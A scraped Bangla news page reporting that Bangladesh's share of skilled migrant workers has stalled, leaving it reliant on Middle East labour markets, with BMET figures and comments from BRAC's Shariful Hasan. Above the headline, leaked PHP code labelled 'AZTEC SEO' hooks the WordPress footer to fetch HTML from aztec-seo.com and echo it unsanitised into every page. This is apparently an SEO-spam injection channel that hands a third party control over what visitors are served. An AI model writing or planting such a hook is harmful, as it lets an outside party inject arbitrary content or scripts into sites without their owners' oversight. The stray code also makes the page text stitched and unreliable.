/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99); দক্ষ কর্মীর অভাবে অধরা নতুন শ্রমবাজার | Dhaka Sky News

শেখ হাসিনার সাবেক দুই মুখ্য সচিবের ব্যাংক হিসাব তলব

আগের সংবাদ

ইরানের ওপর যুক্তরাষ্ট্র-ইসরায়েলের হামলার প্রসঙ্গে মেসির করতালি

পরের সংবাদ

দক্ষ কর্মীর অভাবে অধরা নতুন শ্রমবাজার

অনলাইন ডেস্ক

প্রকাশিত: March 7, 2026 , 4:07 pm

 

দেশে গত পাঁচ বছর ধরে একই জায়গায় আটকে আছে দক্ষ শ্রমিকের হার। এতে বাংলাদেশি শ্রমবাজার মধ্যপ্রাচ্যনির্ভর হয়ে পড়ছে। দক্ষ শ্রমিকের অভাবে এমন চাহিদার অন্য কোনো দেশের শ্রমবাজারে জায়গা করে নিতে পারছে না বাংলাদেশ। এতে অধরাই থেকে যাচ্ছে নতুন শ্রমবাজার। ফলে বাংলাদেশের শ্রমবাজার নিয়ে বড় ধরনের ঝুঁকি তৈরি হয়েছে।

সম্প্রতি মধ্যপ্রাচ্যের যুদ্ধের কারণে প্রবাসী বাংলাদেশিরা অনিশ্চয়তার মধ্যে পড়েছেন। দেশের অর্থনীতির অন্যতম চালিকাশক্তি প্রবাস আয়। কিন্তু দক্ষ কর্মী তৈরিতে তেমন তৎপরতা আগের সরকারের পক্ষ থেকে দেখা যায়নি।

অভিবাসন বিশেষজ্ঞরা বলছেন, আমাদের শিক্ষাব্যবস্থায়ই বড় গলদ রয়েছে। পড়াশোনা মূলত সার্টিফিকেটনির্ভর। দেশে একাধিক কারিগরি শিক্ষাপ্রতিষ্ঠান গড়ে উঠলেও সেগুলো শিক্ষার্থীদের আকৃষ্ট করতে পারছে না। এগুলো মূলত ভবনসর্বস্ব মানহীন প্রতিষ্ঠানে পরিণত হয়েছে।

সম্প্রতি দেশে নতুন সরকার দায়িত্ব নিয়েছে। তাদের মুখে নয়, সত্যিকার অর্থে কারিগরি শিক্ষায় সর্বাধিক গুরুত্ব দিতে হবে। শিক্ষার্থীদের বাধ্যতামূলক কারিগরি শিক্ষার আওতায় আনতে হবে। তাহলে নতুন নতুন শ্রমবাজারের দ্বার উন্মুক্ত হবে। প্রবাস আয়েও বড় ধরনের সফলতা আসবে।

বাংলাদেশ জনশক্তি, কর্মসংস্থান ও প্রশিক্ষণ ব্যুরোর (বিএমইটি) তথ্য বিশ্লেষণ করে জানা যায়, ২০২৫ সালে ১১ লাখ ৩০ হাজার ৭৫৭ জন কর্মী বিদেশে গেছেন। এর মধ্যে মাত্র ৪ শতাংশ পেশাজীবী ও ২২ শতাংশ দক্ষ কর্মী। বাকি ৭৪ শতাংশই স্বল্প ও অদক্ষ কর্মী। ২০২৪ সালে ২৩.৬২ শতাংশ দক্ষ ও ৪.৫৯ শতাংশ পেশাজীবী বিদেশে গেছেন। ২০২৩ সালে ২৪ শতাংশ দক্ষ ও পেশাজীবী ছিল ৪.১৪ শতাংশ। ২০২২ সালে মোট জনশক্তির ২২.৭৩ শতাংশ দক্ষ ও ০.৩৪

শতাংশ ছিল পেশাজীবী। ২০২১ সালে বিদেশে যাওয়া মোট জনশক্তির ২১ শতাংশ দক্ষ ও ০.১৪ শতাংশ পেশাজীবী কর্মী। অর্থাৎ গত পাঁচ বছরের প্রতিবছরই বিদেশে যাওয়া কর্মীদের মধ্যে দুই-তৃতীয়াংশই স্বল্প ও অদক্ষ কর্মী।

ব্র্যাকের মাইগ্রেশন প্রোগ্রামের প্রধান শরিফুল হাসান বলেন, ‘সত্তরের দশকে মধ্যপ্রাচ্য দিয়ে আমাদের অভিবাসন যাত্রা শুরু। আমরা এখনো একই জায়গায় আটকে আছি। গত পাঁচ বছরে সৌদি আরবে আমাদের যে কর্মী ছিলেন, এখন এরচেয়ে অনেক বেড়েছে। কিন্তু ওই দেশ থেকে প্রবাস আয় বাড়েনি। এর প্রধান কারণ হচ্ছে আমরা অদক্ষ শ্রমিক পাঠাই। অন্যদিকে আমাদের শ্রমিকদের বিদেশে যাওয়ার খরচ সবচেয়ে বেশি। অথচ ভারত, ফিলিপিন্স, নেপালের দিকে তাকালে দেখা যাবে তারা কম খরচে দক্ষ শ্রমিক পাঠাচ্ছে, আয়ও বেশি করছে।’

শরিফুল হাসান বলেন, ‘আমাদের শিক্ষাব্যবস্থা সার্টিফিকেটনির্ভর। এখান থেকে বের হয়ে আসতে হবে। দেশে এখন নতুন সরকার। তাদের কারিগরি শিক্ষা বাধ্যতামূলক করতে হবে। শুধু দুর্বল শিক্ষার্থী নয়, সব শিক্ষার্থীকে কারিগরি শিক্ষার আওতায় আনতে হবে। আমাদের প্রশিক্ষণকেন্দ্র আছে, কিন্তু ভালো শিক্ষক ও যন্ত্রপাতি নেই। এতে শিক্ষার্থীরা যাচ্ছেন না। অথচ জাপান ও ইউরোপের দেশগুলোতে আমাদের বড় শ্রমবাজারের হাতছানি।’